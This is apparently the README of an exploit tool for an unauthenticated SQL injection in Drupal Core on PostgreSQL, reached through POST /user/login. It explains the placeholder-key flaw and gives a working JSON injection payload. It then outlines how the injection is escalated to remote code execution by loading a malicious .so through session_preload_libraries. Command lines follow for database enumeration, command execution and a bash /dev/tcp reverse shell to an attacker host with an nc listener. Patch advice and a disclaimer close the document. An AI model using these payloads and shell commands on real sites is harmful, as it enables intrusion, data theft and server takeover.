Drupal Core 在 PostgreSQL 上的未授权 SQL 注入,通过 POST /user/login 触发,并通过 PostgreSQL session_preload_libraries 升级为远程代码执行。
与现有针对 JSON:API 的公开漏洞不同,此漏洞利用登录端点——始终可用,无需任何模块或已发布内容。
公告: SA-CORE-2026-004 | 风险评分:23/25(极高危) | CISA KEV
仅PostgreSQL 作为后端的 Drupal 站点存在漏洞。
| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | 全部 | 生命周期结束 - 请升级 |
Drupal 的 PostgreSQL 实体查询条件处理器(core/modules/pgsql/src/EntityQuery/Condition.php)在构建大小写不敏感的 IN 条件时,将 $condition['value'] 作为关联数组进行迭代,并将用户可控的键直接拼接到 PDO 占位符标识符中——生成的 SQL 包含 LOWER(:<prefix><key>),其中 <key> 直接来自攻击者。
只有当两个条件同时满足时才会进入此代码路径:is_array($condition['value']) 和 $case_sensitive === FALSE。这就是为什么只有 PostgreSQL 受影响——MySQL 和 SQLite 没有这个大小写不敏感的 LOWER() 分支。
PDO 的命名参数解析器只识别 : 后的 [a-zA-Z0-9_]。该字符集之外的字符(如 | 或 ))会终止占位符令牌。因此,像 0||(subquery) 这样的键会产生一个占位符 :prefix0(与合法键 0 共享)以及字面 SQL ||(subquery),它未经参数化直接进入 PostgreSQL。
修复方法很简单,只需调用 array_values() 丢弃攻击者提供的键,然后再生成 SQL。
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
name 字段以 JSON 对象而非字符串形式发送。Drupal 将其传入实体查询的 IN 条件,并采用大小写不敏感的比较。对于每个数组键,Drupal 在 SQL 中生成 LOWER(:<prefix><key>)。生成的查询类似:
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
PDO 在两个条目中都识别出占位符 :users_field_data_name0(在第二个条目中遇到 | 时停止),并将两者都绑定到 'x'。剩余的 ||(SELECT ...) 作为字面 SQL 通过。替换后,PostgreSQL 收到:
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
CAST(... AS int) 在非整数数据上失败,错误信息会泄露查询结果。
当数据库用户为 PostgreSQL 超级用户时,仅 SELECT 的注入可以升级为 RCE:
data_directory、超级用户状态.so 模块,其中包含调用 system() 的 _PG_init().so 到 data_directory(通过大对象:lo_create -> lo_put -> lo_export)postgresql.auto.conf,设置 session_preload_libraries 和 dynamic_library_pathpg_reload_conf()SQL 注入(cve_2026_9082_check.py):
远程代码执行(cve_2026_9082_rce.py):
docker(用于在 macOS 上进行交叉编译)pip install -r requirements.txt
# 验证 SQL 注入
python3 cve_2026_9082_check.py http://target:8081
# 使用代理(Burp、mitmproxy 等)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# 列出所有数据库
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# 列出某数据库中的表
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# 列出某表中的列
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# 执行命令
python3 cve_2026_9082_rce.py http://target:8081 "id"
# 反向 shell
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# 监听器
nc -lvnp 4444
针对有漏洞实例的 SQLi 验证:

通过基于错误的注入进行数据库枚举:

升级为远程代码执行:

立即更新 Drupal 至已修复版本:
若无法立即更新:
name 字段包含 JSON 对象的异常 POST /user/login 请求补丁和详情:SA-CORE-2026-004
| 日期 | 事件 |
|---|---|
| 2026-05-20 | Drupal 发布 SA-CORE-2026-004,补丁发布 |
| 2026-05-22 | 野外活跃利用,被加入 CISA KEV |
| 2026-05-26 | Ambionics 发布通过 JSON:API 的 SQLi 到 RCE 技术 |
| 2026-06-07 | 本工具发布 |
/user/login)描述者:bitk & jfellus(YesWeHack)session_preload_libraries)作者:N. Maccary / Ambionics(Lexfo)/user/login 向量改编的 RCE 作者:r0m41n本工具仅用于授权安全测试及教育目的。
未经授权访问计算机系统是违法的。作者对任何滥用本软件的行为概不负责。在测试非您拥有的系统之前,请务必获得适当的授权。
pg_read_file()